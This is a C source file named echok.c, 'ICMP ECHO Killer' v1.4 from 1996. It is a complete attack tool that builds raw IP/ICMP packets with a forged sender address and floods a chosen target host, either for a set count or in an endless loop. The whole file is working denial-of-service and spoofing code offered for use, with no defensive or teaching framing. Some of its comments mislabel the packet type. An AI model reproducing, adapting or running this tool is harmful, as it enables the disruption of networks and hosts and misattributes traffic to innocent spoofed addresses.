/*
 * echok.c
 * ICMP_ECHO Killer
 * 
 * Author: Zakath    Credits:  LOTSA thanks to crisk
 * Don't be fooled. Very little is my orig code.
 * [03.13.96]
 */

#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
     {
  printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
        printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
     }
  
void usage(const char *progname)
     {
  printf("\nusage:\n  ");
  printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
  printf("\t-f          : enable flooding  (ping -f)\n");
  printf("\t-n <number> : number of pings to send\n");
  printf("\t-s <size>   : ICMP_ECHO Packet Size [Default is 64]\n");
  printf("\t-w <time>   : Wait time between packets [Default is 100]\n");
        printf("\t<spoof>     : address of fake ICMP packet sender\n");
  printf("\t<dest>      : destination of the flood message\n");
         printf("\n");
     }

/* OPTION PARSING -------------------------------------------- */

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned      pingsize, pingsleep, pingnmbr;
char          flood = 0;


/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}


/* Nice resolve func. by crisk */
int resolve( const char *name, struct sockaddr_in *addr, int port )
     {
  struct hostent *host;
  
  /* clear everything in case I forget something */
  bzero((char *)addr,sizeof(struct sockaddr_in));
  
  if (( host = gethostbyname(name) ) == NULL )  {
#ifndef RESOLVE_QUIET
     fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
     perror("");
#endif
     return -1;
  }
   
  addr->sin_family = host->h_addrtype;
  memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  addr->sin_port = htons(port);
     
        return 0;
     }

unsigned long addr_to_ulong(struct sockaddr_in *addr)
     {
  return addr->sin_addr.s_addr;
     }


int resolve_one(const char *name, unsigned long *addr, const char *desc)
     {
        struct sockaddr_in tempaddr;
  if (resolve(name, &tempaddr,0) == -1) {
     printf("error: can't resolve the %s.\n",desc);
     return -1;
  }
            
  *addr = tempaddr.sin_addr.s_addr;
         return 0;
     }

int resolve_all(const char *dest,
    const char *spoof)
     {
        if (resolve_one(dest,&dest_addr,"dest address")) return -1;
  if (spoof!=NULL) 
    if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
  
  spoofaddr.sin_addr.s_addr = spoof_addr;
        spoofaddr.sin_family = AF_INET;
  destaddr.sin_addr.s_addr = dest_addr;
  destaddr.sin_family      = AF_INET;
     }
  
void give_info(void)
     {
  printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
  printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
  if (pingnmbr) printf("# number of packets       : %u\n",(pingnmbr));
  printf("# icmp echo packet size   : %u\n",(pingsize+36));
        printf("# wait time between send  : %u\n\n", pingsleep);
     }

int parse_args(int argc, char *argv[]) 
     {
        int opt;
  
  char *endptr;
  
  while ((opt=getopt(argc, argv, "fn:s:w:")) != -1)  {
     switch(opt)  {
        case 'f': flood = 1; break;
        case 'n': pingnmbr = strtoul(optarg,&endptr,10);
                  if (*endptr != '\0')  {
               printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
         return -1;
               }
            break;
        case 's': pingsize = strtoul(optarg,&endptr,10);
                  if (*endptr != '\0')  {
               printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
               return -1;
               }
            break;
        case 'w': pingsleep = strtoul(optarg,&endptr,10);
                  if (*endptr != '\0')  {
               printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
               return -1;
               }
            break;
        case '?':
        case ':': return -1; break;
     }
    
  }
      
  if (optind > argc-2)  {
     printf("%s: missing parameters\n",argv[0]);
     return -1;
  }
        
        if (!pingsize)
          pingsize = 28;
        else
          pingsize = pingsize - 36 ;

        if (!pingsleep)
          pingsleep = 100;

  spoof_name = argv[optind++];
  dest_name = argv[optind++];
  
      return 0;             
     }

/*
 * icmp_echo_send()
 * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
 * contain the IP header + 64 bits of original datagram, we create a bogus
 * IP header and the first 64 bits of a TCP header (ports and syn). 
 *
 */

 inline int icmp_echo_send(int                socket, 
          unsigned long      spoof_addr,
         unsigned long      t_addr,
         unsigned           pingsize)
     {
  unsigned char packet[5122];
  struct iphdr   *ip;
  struct icmphdr *icmp;
  struct iphdr   *origip;
        unsigned char  *data;

        int i;
  
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet+IPHDRSIZE);
  origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
  data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
  
  memset(packet, 0, 5122);
  
/*  ip->saddr    = spoof_addr; */
  ip->version  = 4;
  ip->ihl      = 5; 
  ip->ttl      = 255-random()%15;
  ip->protocol = IPPROTO_ICMP;
  ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
  
        bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
        bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 

  ip->check    = in_cksum(packet,IPHDRSIZE);
  
/*        origip->saddr    = t_addr;   this is the 'original' header. */
  origip->version  = 4;
  origip->ihl      = 5;
  origip->ttl      = ip->ttl - random()%15;
  origip->protocol = IPPROTO_TCP; 
  origip->tot_len  = IPHDRSIZE + 30; 
  origip->id       = random()%69;
  
        bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

         origip->check = in_cksum(origip,IPHDRSIZE);
  
  *((unsigned int *)data)          = htons(pingsize);

  /* 'original IP header + 64 bits (of bogus TCP header)' made. */
  
  icmp->type = 8; /* should be 3 */
  icmp->code = 0;
  
  icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

  return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
          (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
  
  /* ICMP packet is now over the net. */
  
     }

/* MAIN ------------------------------------------------------ */

void main(int argc, char *argv[])
     {
        int s, i;
        int floodloop;
  
        banner();
        
  if (parse_args(argc,argv)) 
    {  
       usage(argv[0]); 
       return;
    }
  
  resolve_all(dest_name, spoof_name);
  give_info();
         
         s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  
        if (!flood)
    {
       if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
       {
          printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
       }
    }
  else
    {
             floodloop = 0;
             if ( pingnmbr && (pingnmbr > 0) )
             {
               printf("flooding... packet limit set.\n");
               for (i=0;i<pingnmbr;i++)
         {
     if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
           {
        printf("%s: error sending packet\n",argv[0]); perror(""); return; 
           }
      usleep((pingsleep*1000));               

           if (!(floodloop = (floodloop+1)%25)) 
      { fprintf(stdout,"."); fflush(stdout); 
           }
    
          }
               printf("flooding completed - %u packets sent.\n", pingnmbr);
             }
             else {
               printf("flooding. each dot equals 25 packets.\n");
               for (i=0;i<1;i)
         {
     if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
           {
        printf("%s: error sending packet\n",argv[0]); perror(""); return; 
           }
      usleep(900);               

           if (!(floodloop = (floodloop+1)%25)) 
      { fprintf(stdout,"."); fflush(stdout); 
           }
    
          }
             }

    }
     }